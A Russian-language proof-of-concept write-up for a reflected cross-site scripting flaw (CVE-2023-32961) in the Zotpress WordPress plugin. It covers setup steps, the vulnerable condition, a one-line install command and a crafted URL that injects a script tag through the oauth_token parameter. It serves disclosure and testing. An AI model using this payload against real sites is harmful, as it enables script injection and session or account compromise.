Как воспроизвести (PoC)

1. Установите расширение oauth для PHP, чтобы вызвать уязвимость. (Это опционально для Zotpress)
2. Войдите в систему на zotero.org
3. Должны быть выполнены условия для выполнения функции get_request_token. (только при первом запуске) Отправьте полезную нагрузку следующего вида: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1
4. Отправьте следующую полезную нагрузку http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>

Дополнительная информация

• Вам потребуется учётная запись на zotero.org.

• Вам необходимо установить значение oauthState равным 1, чтобы вызвать уязвимость. Если указанная выше полезная нагрузка не срабатывает, вам нужно найти способ установить oauthState в 1.

  • условное выражение:

    root@kitploit:~

    $_GET['oauth_token'] != $state['request_token_info']['oauth_token']
    

• Простая установка расширения php oauth:

  • Однострочная команда:

    root@kitploit:~

    sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
    

• Протестировано в Docker-образе wordpress:latest.

Видео PoC

https://www.youtube.com/watch?v=5kZ7bNbs_-Q

Ссылки

CVE-2023-32961